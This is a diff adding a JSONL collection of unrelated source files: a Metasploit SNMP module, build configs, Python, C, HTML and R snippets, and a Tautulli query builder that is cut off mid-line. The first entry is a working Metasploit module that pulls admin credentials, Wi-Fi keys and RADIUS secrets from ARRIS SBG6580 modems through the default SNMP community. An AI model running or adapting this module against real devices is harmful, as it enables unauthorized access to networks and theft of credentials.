diff --git "a/train/github-27-45376539.jsonl" "b/train/github-27-45376539.jsonl" new file mode 100644--- /dev/null +++ "b/train/github-27-45376539.jsonl" @@ -0,0 +1,924 @@ +{"text": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::SNMPClient\n include Msf::Auxiliary::Report\n include Msf::Auxiliary::Scanner\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',\n 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola\n SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username\n and password for the device user interface as well as wireless network keys\n and information.\n The default community used is \"public\".',\n 'References' =>\n [\n [ 'URL', 'https://seclists.org/fulldisclosure/2014/May/79' ],\n [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],\n [ 'OSVDB', '110555' ]\n ],\n 'Author' => 'Matthew Kienow ',\n 'License' => MSF_LICENSE\n ))\n\n # change SNMP version option to match device specification\n register_options(\n [\n OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])\n ])\n end\n\n def run_host(ip)\n\n begin\n snmp = connect_snmp\n\n # represents the order of the output data fields\n fields_order = [\n \"Host IP\", \"Username\", \"Password\", \"SSID\", \"802.11 Band\",\n \"Network Authentication Mode\", \"WEP Passphrase\", \"WEP Encryption\",\n \"WEP Key 1\", \"WEP Key 2\", \"WEP Key 3\", \"WEP Key 4\",\n \"Current Network Key\", \"WPA Encryption\", \"WPA Pre-Shared Key (PSK)\",\n \"RADIUS Server\", \"RADIUS Port\", \"RADIUS Key\"\n ]\n\n output_data = {\"Host IP\" => ip}\n\n sys_descr = snmp.get_value('sysDescr.0')\n if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/\n # print connected status after the first query so if there are\n # any timeout or connectivity errors; the code would already\n # have jumped to error handling where the error status is\n # already being displayed.\n print_good(\"#{ip}, Connected.\")\n\n # attempt to get the username and password for the device user interface\n # using the CableHome cabhPsDevMib MIB module which defines the\n # basic management objects for the Portal Services (PS) logical element\n # of a CableHome compliant Residential Gateway device\n device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')\n if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1\n # manufacturerLocal(1) - indicates Portal Services is using the vendor\n # web user interface shipped with the device\n device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')\n if is_valid_snmp_value(device_ui_username)\n output_data[\"Username\"] = device_ui_username.to_s\n end\n\n device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')\n if is_valid_snmp_value(device_ui_password)\n output_data[\"Password\"] = device_ui_password.to_s\n end\n end\n\n wifi_ifindex = get_primary_wifi_ifindex(snmp)\n if wifi_ifindex < 1\n print_status(\"Primary WiFi is disabled on the device\")\n end\n\n ssid = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}\")\n if is_valid_snmp_value(ssid)\n output_data[\"SSID\"] = ssid.to_s\n end\n\n wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')\n if is_valid_snmp_value(wireless_band)\n output_data[\"802.11 Band\"] = get_wireless_band_name(wireless_band.to_i)\n end\n\n network_auth_mode = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}\")\n if is_valid_snmp_value(network_auth_mode)\n network_auth_mode = network_auth_mode.to_i\n network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)\n output_data[\"Network Authentication Mode\"] = network_auth_mode_name\n end\n\n case network_auth_mode\n when 1, 6\n # WEP, WEP 802.1x Authentication\n wep_passphrase = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}\")\n if is_valid_snmp_value(wep_passphrase)\n output_data[\"WEP Passphrase\"] = wep_passphrase.to_s\n end\n\n wep_encryption = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}\")\n if is_valid_snmp_value(wep_encryption)\n wep_encryption = wep_encryption.to_i\n else\n wep_encryption = -1\n end\n\n wep_encryption_name = \"Unknown\"\n wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil\n # get appropriate WEP keys based on wep_encryption setting\n if wep_encryption == 1\n wep_encryption_name = \"64-bit\"\n wep_key1 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1\")\n wep_key2 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2\")\n wep_key3 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3\")\n wep_key4 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4\")\n elsif wep_encryption == 2\n wep_encryption_name = \"128-bit\"\n wep_key1 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1\")\n wep_key2 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2\")\n wep_key3 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3\")\n wep_key4 = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4\")\n end\n\n output_data[\"WEP Encryption\"] = wep_encryption_name\n if is_valid_snmp_value(wep_key1)\n output_data[\"WEP Key 1\"] = wep_key1.unpack('H*')[0]\n end\n if is_valid_snmp_value(wep_key2)\n output_data[\"WEP Key 2\"] = wep_key2.unpack('H*')[0]\n end\n if is_valid_snmp_value(wep_key3)\n output_data[\"WEP Key 3\"] = wep_key3.unpack('H*')[0]\n end\n if is_valid_snmp_value(wep_key4)\n output_data[\"WEP Key 4\"] = wep_key4.unpack('H*')[0]\n end\n\n # get current network key\n current_key = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}\")\n if is_valid_snmp_value(current_key)\n output_data[\"Current Network Key\"] = current_key.to_s\n end\n\n if network_auth_mode == 6\n get_radius_info(snmp, wifi_ifindex, output_data)\n end\n\n when 2, 3, 4, 5, 7, 8\n # process all flavors of WPA\n wpa_encryption = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}\")\n if is_valid_snmp_value(wpa_encryption)\n output_data[\"WPA Encryption\"] = get_wpa_encryption_name(wpa_encryption.to_i)\n end\n\n wpa_psk = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}\")\n if is_valid_snmp_value(wpa_psk)\n output_data[\"WPA Pre-Shared Key (PSK)\"] = wpa_psk.to_s\n end\n\n case network_auth_mode\n when 4, 5, 8\n get_radius_info(snmp, wifi_ifindex, output_data)\n end\n end\n\n # output\n print_line(\"\")\n print_status(\"Device information:\\n\")\n line = \"\"\n width = 30 # name field width\n\n fields_order.each {|k|\n if not output_data.has_key?(k)\n next\n end\n\n v = output_data[k]\n if (v.nil? or v.empty? or v =~ /Null/)\n v = '-'\n end\n\n report_note(\n :host => ip,\n :proto => 'udp',\n :sname => 'snmp',\n :port => datastore['RPORT'].to_i,\n :type => \"snmp.#{k}\",\n :data => v\n )\n\n line << sprintf(\"%s%s: %s\\n\", k, \" \"*([0,width-k.length].max), v)\n }\n\n print_line(line)\n else\n print_error(\"#{ip} does not appear to be a SBG6580.\")\n end\n\n rescue SNMP::RequestTimeout\n print_error(\"#{ip} SNMP request timeout.\")\n rescue Rex::ConnectionError\n print_error(\"#{ip} Connection refused.\")\n rescue SNMP::InvalidIpAddress\n print_error(\"#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.\")\n rescue SNMP::UnsupportedVersion\n print_error(\"#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.\")\n rescue ::Interrupt\n raise $!\n rescue ::Exception => e\n print_error(\"Unknown error: #{e.class} #{e}\")\n elog(e)\n ensure\n disconnect_snmp\n end\n end\n\n def get_primary_wifi_ifindex(snmp)\n # The ifTable contains interface entries where each row represents\n # management information for a particular interface. Locate the first\n # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).\n wifi_ifindex = 0\n ifTable_columns = [\"ifIndex\", \"ifDescr\", \"ifType\", \"ifAdminStatus\"]\n snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|\n if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)\n wifi_ifindex = ifIndex.value.to_i\n end\n end\n wifi_ifindex\n end\n\n def is_valid_snmp_value(value)\n if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/\n return false\n end\n return true\n end\n\n def get_network_auth_mode_name(network_auth_mode)\n case network_auth_mode\n when 0\n \"Open Security\"\n when 1\n \"WEP\"\n when 2\n \"WPA-PSK\"\n when 3\n \"WPA2-PSK\"\n when 4\n \"WPA RADIUS\"\n when 5\n \"WPA2 RADIUS\"\n when 6\n \"WEP 802.1x Authentication\"\n when 7\n \"WPA-PSK and WPA2-PSK\"\n when 8\n \"WPA and WPA2 RADIUS\"\n else\n \"Unknown\"\n end\n end\n\n def get_wireless_band_name(wireless_band)\n case wireless_band\n when 1\n \"2.4 Ghz\"\n when 2\n \"5 Ghz\"\n else\n \"Unknown\"\n end\n end\n\n def get_wpa_encryption_name(wpa_encryption)\n case wpa_encryption\n when 2\n \"AES\"\n when 3\n \"TKIP+AES\"\n else\n \"Unknown\"\n end\n end\n\n def get_radius_info(snmp, wifi_ifindex, output_data)\n radius_server = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}\")\n if is_valid_snmp_value(radius_server)\n output_data[\"RADIUS Server\"] = radius_server.unpack(\"C4\").join(\".\")\n end\n\n radius_port = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}\")\n if is_valid_snmp_value(radius_port)\n output_data[\"RADIUS Port\"] = radius_port.to_s.strip\n end\n\n radius_key = snmp.get_value(\"1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}\")\n if is_valid_snmp_value(radius_key)\n output_data[\"RADIUS Key\"] = radius_key.to_s\n end\n end\nend\n"} +{"text": "\n"} +{"text": "#!/usr/bin/env python3\n# Copyright lowRISC contributors.\n# Licensed under the Apache License, Version 2.0, see LICENSE for details.\n# SPDX-License-Identifier: Apache-2.0\n\nimport argparse\nimport glob\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nimport wget\n\nUSAGE = \"\"\"./get_lfsr_coeffs.py [-t ] [-o ] [-f] [--fib]\n\nDownloads LFSR constants from [1] and dumps them in SystemVerilog format\n(for use in prim_lfsr.sv). These coeffs are for a Galois XOR type LFSR, and cover\nimplementations ranging from 4 to 64bits.\n\nAlternatively, the script can also extract the XNOR Fibonacci type LFSR coefficients\nfrom the XILINX application note 52 [2] by specifying the --fib switch. Note that this\ndepends on the pdftotext utility for Linux.\n\n[1] https://users.ece.cmu.edu/~koopman/lfsr/\n\n[2] https://www.xilinx.com/support/documentation/application_notes/xapp052.pdf\n\"\"\"\n\n# configuration for Galois\nMIN_LFSR_LEN = 4\nMAX_LFSR_LEN = 64\nBASE_URL = 'https://users.ece.cmu.edu/~koopman/lfsr/'\n\n# configuration for Fibonacci\nFIB_URL = 'https://www.xilinx.com/support/documentation/application_notes/xapp052.pdf'\nPDF_NAME = 'xapp052'\nLINE_FILTER = [\n 'Table 3: Taps for Maximum-Length LFSR Counters',\n 'XAPP 052 July 7,1996 (Version 1.1)'\n]\n\n\n# helper function to write out coeffs\ndef dump_coeffs(lfsrType, widths, coeffs, outfile):\n # widths consistency check\n for k in range(widths[0], widths[-1] + 1):\n # print(\"%d -- %d\" % (k,widths[k-widths[0]]))\n if k != widths[k - widths[0]]:\n print(\"Error: widths is not consistently increasing\")\n sys.exit(1)\n\n # select first coefficient in each file and print to SV LUT\n with outfile:\n decl_str = \"localparam int unsigned %s_LUT_OFF = %d;\\n\" \\\n % (lfsrType, min(widths))\n outfile.write(decl_str)\n decl_str = \"localparam logic [%d:0] %s_COEFFS [%d] = '{ \" \\\n % (max(widths) - 1, lfsrType, max(widths)-min(widths)+1)\n outfile.write(decl_str)\n comma = ',\\n'\n spaces = ''\n for k in widths:\n if k == max(widths):\n comma = \"\"\n if k == min(widths) + 1:\n for l in range(len(decl_str)):\n spaces += ' '\n outfile.write(\"%s%d'h%s%s\" % \\\n (spaces, max(widths), coeffs[k-widths[0]], comma))\n outfile.write(' };\\n')\n\n\n# converts list with bit positions to a hex bit mask string\ndef to_bit_mask(bitPositions):\n\n bitMask = 0\n for b in bitPositions:\n bitMask += 2**(b - 1)\n\n return \"%X\" % bitMask\n\n\ndef main():\n parser = argparse.ArgumentParser(\n prog=\"get-lfsr-coeffs\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n usage=USAGE,\n description=__doc__,\n epilog='defaults or the filename - can be used for stdin/stdout')\n parser.add_argument(\n '-t',\n '--tempfolder',\n help=\"\"\"temporary folder to download the lfsr constant files\nto (defaults to lfsr_tmp)\"\"\",\n default='lfsr_tmp')\n parser.add_argument('--fib',\n help='download fibonacci coefficients',\n action='store_true')\n parser.add_argument('-f',\n '--force',\n help='overwrites tempfolder',\n action='store_true')\n parser.add_argument('-o',\n '--output',\n type=argparse.FileType('w'),\n default=sys.stdout,\n metavar='file',\n help='Output file (default stdout)')\n\n args = parser.parse_args()\n\n if args.force and os.path.exists(args.tempfolder):\n shutil.rmtree(args.tempfolder)\n\n if not os.path.exists(args.tempfolder):\n # download coefficient files\n os.makedirs(args.tempfolder, exist_ok=args.force)\n os.chdir(args.tempfolder)\n\n if args.fib:\n lfsrType = 'FIB_XNOR'\n\n wget.download(FIB_URL)\n cmd = ['pdftotext %s.pdf' % PDF_NAME, '> %s.txt' % PDF_NAME]\n subprocess.call(cmd, shell=True)\n print(\"\")\n cmd = ['grep -A 350 \"%s\" %s.txt > table.txt' \\\n % (LINE_FILTER[0], PDF_NAME)]\n subprocess.call(cmd, shell=True)\n\n # parse the table\n widths = []\n coeffs = []\n columnType = 0\n with open('table.txt') as infile:\n for line in infile:\n line = line.strip()\n if line and line not in LINE_FILTER:\n if line == 'n':\n columnType = 0\n # yes, this is a typo in the PDF :)\n elif line == 'XNOR from':\n columnType = 1\n elif columnType:\n tmpCoeffs = [int(c) for c in line.split(',')]\n coeffs += [tmpCoeffs]\n else:\n widths += [int(line)]\n\n # # printout for checking\n # for (w,c) in zip(widths,coeffs):\n # print(\"width: %d > coeffs: %s\" % (w, str(c)))\n\n # convert to bitmask\n for k in range(len(coeffs)):\n coeffs[k] = to_bit_mask(coeffs[k])\n\n else:\n lfsrType = 'GAL_XOR'\n\n for k in range(MIN_LFSR_LEN, MAX_LFSR_LEN + 1):\n url = '%s%d.txt' % (BASE_URL, k)\n print(\"\\nDownloading %d bit LFSR coeffs from %s...\" % (k, url))\n wget.download(url)\n print(\"\")\n\n widths = []\n coeffs = []\n for k in range(MIN_LFSR_LEN, MAX_LFSR_LEN + 1):\n filename = '%d.txt' % k\n with open(filename) as infile:\n # read the first line\n widths += [k]\n coeffs += [infile.readline().strip()]\n\n # write to stdout or file\n dump_coeffs(lfsrType, widths, coeffs, outfile=args.output)\n else:\n print(\"Temporary directory already exists, abort...\")\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n"} +{"text": "#Sun Jun 10 12:46:01 BST 2018\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-4.4-all.zip\n"} +{"text": "--- a/configure.in\n+++ b/configure.in\n@@ -33,6 +33,9 @@\n PB_OBJECTS=\n PB_LIBS=\n \n+### Setup PKG_CONFIG\n+PKG_PROG_PKG_CONFIG\n+\n if test \"x$laptop\" != \"x\"; then\n ac_laptop=$laptop\n elif test \"x$LAPTOP\" != \"x\"; then\n@@ -59,10 +62,9 @@\n \t\tAC_CHECK_HEADERS([smbios/SystemInfo.h],\n \t\t\tAC_DEFINE_UNQUOTED(WITH_SMBIOS, 1, [SMBIOS available]),\n \t\t\tAC_MSG_ERROR([SMBios library not available. Please install development files for libsmbios.]), [/* dummy */])\n-\t\tAC_CHECK_HEADERS([pci/pci.h sys/io.h], ac_macbook=yes,\n-\t\t\tAC_MSG_ERROR([Please install development files for libpci and direct I/O.]), [/* dummy */])\n+\t\tPKG_CHECK_MODULES(LIBPCI, libpci)\n \t\tPB_OBJECTS+=\" driver_backlight_x1600.$OBJEXT driver_backlight_gma950.$OBJEXT module_acpi.$OBJEXT module_imac.$OBJEXT\"\n-\t\tPB_LIBS+=\" -lpci -lsmbios\"\n+\t\tPB_LIBS+=\" -lsmbios $LIBPCI_LIBS\"\n \t\tLCD_FADINGSPEED=\"448\"\n \t\tLCD_AUTOADJMODE=\"linear\"\n \t\tLCD_AUTOADJPARMBAT=\"0,10,80,30\"\n"} +{"text": "using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n[assembly: AssemblyTitle(\"BluetoothLEExplorerUnitTests\")]\r\n[assembly: AssemblyDescription(\"\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"\")]\r\n[assembly: AssemblyProduct(\"BluetoothLEExplorerUnitTests\")]\r\n[assembly: AssemblyCopyright(\"Copyright © 2017\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n[assembly: AssemblyMetadata(\"TargetPlatform\",\"UAP\")]\r\n\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.0.0.0\")]\r\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\r\n[assembly: ComVisible(false)]"} +{"text": "\n\nDojo Unified 2D Graphics\n\n\n\n\n\n\n\n\n\n\n

Test for dojo.gfx:

\n

\n
\n
\n\n

\n
\n

That's all Folks!

\n\n\n"} +{"text": "% Generated by roxygen2: do not edit by hand\n% Please edit documentation in R/data-movie.R\n\\docType{data}\n\\name{movie_656}\n\\alias{movie_656}\n\\title{Star Wars: Episode IV - A New Hope}\n\\format{\nigraph object\n}\n\\source{\nhttps://dataverse.harvard.edu/dataset.xhtml?persistentId=doi:10.7910/DVN/T4HBA3\n\nhttps://www.imdb.com/title/tt0076759\n}\n\\usage{\nmovie_656\n}\n\\description{\nInteractions of characters in the movie \"Star Wars: Episode IV - A New Hope\" (1977)\n}\n\\details{\nThe networks were built with a movie script parser. Even after multiple manual checks, the data set can still contain minor errors (e.g. typos in character names or wrongly parsed names). This may require some additional manual checks before using the data. Please report any such issues (https://github.com/schochastics/networkdata/issues/)\n}\n\\references{\nKaminski, Jermain; Schober, Michael; Albaladejo, Raymond; Zastupailo, Oleksandr; Hidalgo, César, 2018, Moviegalaxies - Social Networks in Movies, https://doi.org/10.7910/DVN/T4HBA3, Harvard Dataverse, V3\n}\n\\keyword{datasets}\n"} +{"text": "\n#define uint32 unsigned int\n#define uint8 unsigned char\n\n// ===================================================================\n// emulates google3/util/endian/endian.h\n//\n// TODO(xiaofeng): PROTOBUF_LITTLE_ENDIAN is unfortunately defined in\n// google/protobuf/io/coded_stream.h and therefore can not be used here.\n// Maybe move that macro definition here in the furture.\nuint32 ghtonl(uint32 x) \n {\n#if 0\n class \n {\n };\n#endif\n#if 1\n union\n {\n uint32 result;\n uint8 result_array[4];\n };\n#endif\n#if 0\n result_array[0] = static_cast(x >> 24);\n result_array[1] = static_cast((x >> 16) & 0xFF);\n result_array[2] = static_cast((x >> 8) & 0xFF);\n result_array[3] = static_cast(x & 0xFF);\n#endif\n\n return result;\n }\n"} +{"text": "HEADERS += \\\n $$PWD/qtestrunner.h \\\n $$PWD/qdocumentqmlparsertest.h \\\n $$PWD/qplugintypestest.h \\\n $$PWD/qtypestub.h\n\nSOURCES += \\\n $$PWD/main.cpp \\\n $$PWD/qtestrunner.cpp \\\n $$PWD/qdocumentqmlparsertest.cpp \\\n $$PWD/qplugintypestest.cpp \\\n $$PWD/qtypestub.cpp\n"} +{"text": "\n\n \n CodeMirror: Search/Replace Demo\n \n \n \n \n \n \n \n \n\n \n \n \n

CodeMirror: Search/Replace Demo

\n\n
\n\n \n\n

Demonstration of primitive search/replace functionality. The\n keybindings (which can be overridden by custom keymaps) are:

\n
\n
Ctrl-F / Cmd-F
Start searching
\n
Ctrl-G / Cmd-G
Find next
\n
Shift-Ctrl-G / Shift-Cmd-G
Find previous
\n
Shift-Ctrl-F / Cmd-Option-F
Replace
\n
Shift-Ctrl-R / Shift-Cmd-Option-F
Replace all
\n
\n

Searching is enabled by\n including lib/util/search.js.\n For good-looking input dialogs, you also want to include\n lib/util/dialog.js\n and lib/util/dialog.css.

\n \n\n"} +{"text": "/*\n * pthread_condattr_init.c\n *\n * Description:\n * This translation unit implements condition variables and their primitives.\n *\n *\n * --------------------------------------------------------------------------\n *\n * Pthreads-win32 - POSIX Threads Library for Win32\n * Copyright(C) 1998 John E. Bossom\n * Copyright(C) 1999,2003 Pthreads-win32 contributors\n * \n * Contact Email: rpj@callisto.canberra.edu.au\n * \n * The current list of contributors is contained\n * in the file CONTRIBUTORS included with the source\n * code distribution. The list can also be seen at the\n * following World Wide Web location:\n * http://sources.redhat.com/pthreads-win32/contributors.html\n * \n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library in the file COPYING.LIB;\n * if not, write to the Free Software Foundation, Inc.,\n * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA\n */\n\n#include \"pthread.h\"\n#include \"implement.h\"\n\n\nint\npthread_condattr_init (pthread_condattr_t * attr)\n /*\n * ------------------------------------------------------\n * DOCPUBLIC\n * Initializes a condition variable attributes object\n * with default attributes.\n *\n * PARAMETERS\n * attr\n * pointer to an instance of pthread_condattr_t\n *\n *\n * DESCRIPTION\n * Initializes a condition variable attributes object\n * with default attributes.\n *\n * NOTES:\n * 1) Use to define condition variable types\n * 2) It is up to the application to ensure\n * that it doesn't re-init an attribute\n * without destroying it first. Otherwise\n * a memory leak is created.\n *\n * RESULTS\n * 0 successfully initialized attr,\n * ENOMEM insufficient memory for attr.\n *\n * ------------------------------------------------------\n */\n{\n pthread_condattr_t attr_result;\n int result = 0;\n\n attr_result = (pthread_condattr_t) calloc (1, sizeof (*attr_result));\n\n if (attr_result == NULL)\n {\n result = ENOMEM;\n }\n\n *attr = attr_result;\n\n return result;\n\n} /* pthread_condattr_init */\n"} +{"text": "# This file is part of Tautulli.\n#\n# Tautulli is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Tautulli is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Tautulli. If not, see .\n\nfrom __future__ import unicode_literals\nfrom future.builtins import object\n\nimport re\n\nimport plexpy\nif plexpy.PYTHON2:\n import database\n import helpers\n import logger\nelse:\n from plexpy import database\n from plexpy import helpers\n from plexpy import logger\n\n\nclass DataTables(object):\n \"\"\"\n Server side processing for Datatables\n \"\"\"\n\n def __init__(self):\n self.ssp_db = database.MonitorDatabase()\n\n def ssp_query(self,\n table_name=None,\n table_name_union=None,\n columns=[],\n columns_union=[],\n custom_where=[],\n custom_where_union=[],\n group_by=[],\n group_by_union=[],\n join_types=[],\n join_tables=[],\n join_evals=[],\n kwargs=None):\n\n if not table_name:\n logger.error('Tautulli DataTables :: No table name received.')\n return None\n\n # Fetch all our parameters\n if kwargs.get('json_data'):\n parameters = helpers.process_json_kwargs(json_kwargs=kwargs.get('json_data'))\n else:\n logger.error('Tautulli DataTables :: Parameters for Datatables must be sent as a serialised json object '\n 'named json_data.')\n return None\n\n extracted_columns = self.extract_columns(columns=columns)\n join = self.build_join(join_types, join_tables, join_evals)\n group = self.build_grouping(group_by)\n c_where, cw_args = self.build_custom_where(custom_where)\n order = self.build_order(parameters['order'],\n extracted_columns['column_named'],\n parameters['columns'])\n where, w_args = self.build_where(parameters['search']['value'],\n extracted_columns['column_named'],\n parameters['columns'])\n\n # Build union parameters\n if table_name_union:\n extracted_columns_union = self.extract_columns(columns=columns_union)\n group_u = self.build_grouping(group_by_union)\n c_where_u, cwu_args = self.build_custom_where(custom_where_union)\n union = 'UNION SELECT %s FROM %s %s %s' % (extracted_columns_union['column_string'],\n table_name_union,\n c_where_u,\n group_u)\n else:\n union = ''\n cwu_args = []\n\n args = cw_args + cwu_args + w_args\n\n # Build the query\n query = 'SELECT * FROM (SELECT %s FROM %s %s %s %s %s) %s %s' \\\n % (extracted_columns['column_string'], table_name, join, c_where, group, union, where, order)\n\n # logger.debug(\"Query: %s\" % query)\n\n # Execute the query\n filtered = self.ssp_db.select(query, args=args)\n\n # Remove NULL rows\n filtered = [row for row in filtered if not all(v is None for v in row.values())]\n\n # Build grand totals\n totalcount = self.ssp_db.select('SELECT COUNT(id) as total_count from %s' % table_name)[0]['total_count']\n\n # Get draw counter\n draw_counter = int(parameters['draw'])\n\n # Paginate results\n result = filtered[parameters['start']:(parameters['start'] + parameters['length'])]\n\n output = {'result': result,\n 'draw': draw_counter,\n 'filteredCount': len(filtered),\n 'totalCount': totalcount}\n\n return output\n\n def build_grouping(self, group_by=[]):\n # Build grouping\n group = ''\n\n for g in group_by:\n group += g + ', '\n if group:\n group = 'GROUP BY ' + group.rstrip(', ')\n\n return group\n\n def build_join(self, join_types=[], join_tables=[], join_evals=[]):\n # Build join parameters\n join = ''\n\n for i, join_type in enumerate(join_types):\n if join_type.upper() == 'LEFT OUTER JOIN':\n join += 'LEFT OUTER JOIN %s ON %s = %s ' % (join_tables[i], join_evals[i][0], join_evals[i][1])\n elif join_type.upper() == 'JOIN' or join_type.upper() == 'INNER JOIN':\n join += 'JOIN %s ON %s = %s ' % (join_tables[i], join_evals[i][0], join_evals[i][1])\n\n return join\n\n def build_custom_where(self, custom_where=[]):\n # Build custom where parameters\n c_where = ''\n args = []\n\n for w in custom_where:\n if isinstance(w[1], (list, tuple)) and len(w[1]):\n c_where += '('\n for w_ in w[1]:\n if w_ == None:\n c_where += w[0] + ' IS NULL OR '\n elif str(w_).startswith('LIKE '):\n c_where += w[0] + ' LIKE ? OR '\n args.append(w_[5:])\n else:\n c_where += w[0] + ' = ? OR '\n args.append(w_)\n c_where = c_where.rstrip(' OR ') + ') AND '\n else:\n if w[1] == None:\n c_where += w[0] + ' IS NULL AND '\n elif str(w[1]).startswith('LIKE '):\n c_where += w[0] + ' LIKE ? AND '\n args.append(w[1][5:])\n else:\n c_where += w[0] + ' = ? AND '\n args.append(w[1])\n\n if c_where:\n c_where = 'WHERE ' + c_where.rstrip(' AND ')\n\n return c_where, args\n\n def build_order(self, order_param=[], columns=[], dt_columns=[]):\n # Build ordering\n order = ''\n\n for o in order_param:\n sort_order = ' COLLATE NOCASE'\n if o['dir'] == 'desc':\n sort_order += ' DESC'\n # We first see if a name was sent though for the column sort.\n if dt_columns[int(o['column'])]['data']:\n # We have a name, now check if it's a valid column name for our query\n # so we don't just inject a random value\n if any(d.lower() == dt_columns[int(o['column'])]['data'].lower()\n for d in columns):\n order += dt_columns[int(o['column'])]['data'] + '%s, ' % sort_order\n else:\n # if we receive a bogus name, rather not sort at all.\n pass\n # If no name exists for the column, just use the column index to sort\n else:\n order += columns[int(o['column'])] + ', '\n\n if order:\n order = 'ORDER BY ' + order.rstrip(', ')\n\n return order\n\n def build_where(self, search_param='', columns=[], dt_columns=[]):\n # Build where parameters\n where = ''\n args = []\n\n if search_param:\n for i, s in enumerate(dt_columns):\n if s['searchable']:\n # We first see if a name was sent though for the column search.\n if s['data']:\n # We have a name, now check if it's a valid column name for our query\n # so we don't just inject a random value\n if any(d.lower() == s['data'].lower() for d in columns):\n where += s['data'] + ' LIKE ? OR '\n args.append('%' + search_param + '%')\n else:\n # if we receive a bogus name, rather not search at all.\n pass\n # If no name exists for the column, just use the column index to search\n else:\n where += columns[i] + ' LIKE ? OR '\n args.append('%' + search_param + '%')\n if where:\n where = 'WHERE ' + where.rstrip(' OR ')\n \n return where, args\n\n # This method extracts column data from our column list\n # The first parameter is required, the match_columns parameter is optional and will cause the function to\n # only return results if the value also exists in the match_columns 'data' field\n @staticmethod\n def extract_columns(columns=None, match_columns=None):\n columns_string = ''\n columns_literal = []\n columns_named = []\n columns_order = []\n\n for column in columns:\n # We allow using \"as\" in column names for more complex sql functions.\n # This function breaks up the column to get all it's parts.\n as_search = re.compile(' as ', 